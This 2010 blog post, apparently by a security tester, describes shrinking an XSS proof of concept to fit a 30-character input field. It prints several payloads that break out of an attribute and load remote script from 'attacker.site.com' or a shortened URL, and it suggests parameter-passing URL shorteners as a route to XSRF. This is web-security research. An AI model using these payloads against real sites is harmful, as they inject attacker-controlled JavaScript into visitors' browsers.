Thursday, January 7, 2010

XSS and Ultra Short Urls

I recently was trying to create a POC (proof of concept) for an html injection/XSS vulnerability I found in a website where I could include the tags:
<script src="http://attacker.site.com/external.js"></script>

However, I only had 30 characters to break out of the current tag and insert my script. This made me (naturally) search for ways to condense everything into as few characters as possible.

Below is where the html injection occurs:
<input TYPE="TEXT" NAME="target_pattern" VALUE="!INJECTION!" SIZE=20 maxlength=30 ONKEYDOWN="someFunction()">

The full (uncondensed) html I had to include to break out of the current tag and create my script tags was this:
"><script src="http://attacker.site.com/external.js"></script>

Which is way more than 30 characters (62 characters). To smash it down, first I looked for different ways to reference a url. I found that
http:google.com

works just as well as including both forward slashes in the url.

Then I tried to find a good url-shortener to create a super-small url that I could use. The smallest I came up with came from ix.lt, where I managed to get a url similar to ix.lt/##. The full length I came up with was 37 characters long, still too long for me to actually use to get under the 30 character limit imposed by the server (not the text box):
"><script src=http:ix.lt/##></script>

Since I couldn't think of a way to make it much shorter, I stopped there. Any ideas on how to have a super-short <script></script> block? I came up with one way that would work in specific situations (sadly, not this one though). Instead of trying to include the </script> tag at the end (which is what pushes me over the limit), I figured I could do something like this:
"><script src=http:ix.lt/##>/*

What this would do is comment out everything after my script tag. However, the only situation in which this would still work is if there is a script tag farther down in the html that has a block comment. For example, such a situation would produce something like this:
<input TYPE="TEXT" NAME="target_pattern" VALUE=""><script src=http:ix.lt/##>/*" SIZE=20
               maxlength=30 ONKEYDOWN="someFunction()">
<!-- farther down -->
<input type="text" value="should be commented out"/>
<script>
/* Here is a script block comment */
</script>

If such a situation could be found, my injected <script> tag would have a matching script tag farther down the page, which would complete my script block and would load the external script referenced by my shortened url.

Working copy:

Actually, blogspot won't let me publish a working sample of the code above, because there is no matching </script> tag. So, if you want to test it in your browser, you'll have to copy the code and run it on your computer.

Another thought that occurred to me while I was experimenting with url-shorteners is that it would VERY handy to have a url-shortener that passed supplied url params onto the target url. A shortened url, such as http://ix.lt/google that references http://www.google.com/search would then be able to be used like this: http://ix.lt/google?q=cookie%20recipes, which should end up with the final url of http://www.google.com/search?q=cookie%20recipes, which, of course, would give you a search for cookie recipes.

This would open up a different way to do XSRF, since most url-shorteners (at least the ones I tried) don't keep the url-params from the target url.

Any comments?

UPDATE: mckt (http://skeptikal.org) suggested using // instead of http:. He explained that the same way a single slash in front of a path means to use the current domain, that a double slash means to use the same protocol, which in this case is http.

This drops the total injection down to 34 characters:
"><script src=//ix.lt/##></script>

This also drops the injection code with the javascript comment down to 27 characters:
"><script src=//ix.lt/##>/*

Almost down to 30 characters!

UPDATE (1/12/09):
I was brainstorming other ways to go about doing this with Miles, and we came up with something:
"><script src=http:ix.lt/## />

30 characters! I had tried using <script /> tags (no second closing tag), but had only tried them in Firefox. Miles brought it up again and tried it in Safari, and boom, it worked! It also works in Chrome. I think it's a WebKit behavior that accepts those types of script blocks.

Originally after we had started experimenting with the <script /> form, we were still using //ix.lt/## as the url to load our javascript from. For some reason, it just wasn't loading our script when we tried it on the site we were testing. So I used the firebug console and typed location.href = "//ix.lt/##", which took us to https://ix.lt/## instead of http://ix.lt/##. It soon became very apparent that ix.lt doesn't support https, which was causing the problem.

To fix the problem, we had to revert back to the slightly-longer form of http:ix.lt/##. However, this was still under 30 characters, so we met our goal.

I learned a lesson to not forget what the shortcuts mean when you use them. I could have easily pounded my head against this one for a long time without realizing why it wasn't working. Shortest ≠ bestest (I know, bad grammar, but it rhymes!)

I also posted something over at http://sla.ckers.org asking for other ideas. It might be worth it to check back on that every now and then.

1 comment: